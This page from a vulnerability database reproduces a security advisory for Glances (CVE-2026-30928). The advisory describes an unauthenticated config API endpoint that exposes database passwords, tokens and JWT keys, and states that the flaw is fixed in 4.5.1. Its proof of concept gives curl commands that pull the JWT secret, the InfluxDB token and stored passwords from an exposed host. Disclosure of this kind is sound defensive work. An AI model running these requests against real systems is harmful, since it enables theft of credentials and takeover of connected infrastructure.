GHSA-GH4X-F7CQ-WWX6
Vulnerability from github – Published: 2026-03-09 19:50 – Updated: 2026-03-10 18:44Summary
The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details
Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code: - File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
"""Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file
HTTP/200 if OK
HTTP/404 if others error
"""
try:
# Get the RAW value of the config' dict
args_json = self.config.as_dict() # <-- Returns ALL config including secrets
except Exception as e:
raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
else:
return GlancesJSONResponse(args_json)
- File: glances/config.py, lines 280-287
def as_dict(self):
"""Return the configuration as a dict"""
dictionary = {}
for section in self.parser.sections():
dictionary[section] = {}
for option in self.parser.options(section):
dictionary[section][option] = self.parser.get(section, option) # No filtering
return dictionary
- File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # No authentication!
PoC
- Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
- From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config
Step 3: Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key
# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token
# Get all stored server passwords
curl http://target:61208/api/4/config/passwords
Impact
Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30928"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-09T19:50:00Z",
"nvd_published_at": "2026-03-10T18:18:52Z",
"severity": "HIGH"
},
"details": "### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n \"\"\"Glances API RESTful implementation.\n\n Return the JSON representation of the Glances configuration file\n HTTP/200 if OK\n HTTP/404 if others error\n \"\"\"\n try:\n # Get the RAW value of the config\u0027 dict\n args_json = self.config.as_dict() # \u003c-- Returns ALL config including secrets\n except Exception as e:\n raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n else:\n return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n \"\"\"Return the configuration as a dict\"\"\"\n dictionary = {}\n for section in self.parser.sections():\n dictionary[section] = {}\n for option in self.parser.options(section):\n dictionary[section][option] = self.parser.get(section, option) # No filtering\n return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix) # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.",
"id": "GHSA-gh4x-f7cq-wwx6",
"modified": "2026-03-10T18:44:36Z",
"published": "2026-03-09T19:50:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30928"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Glances Exposes Unauthenticated Configuration Secrets"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.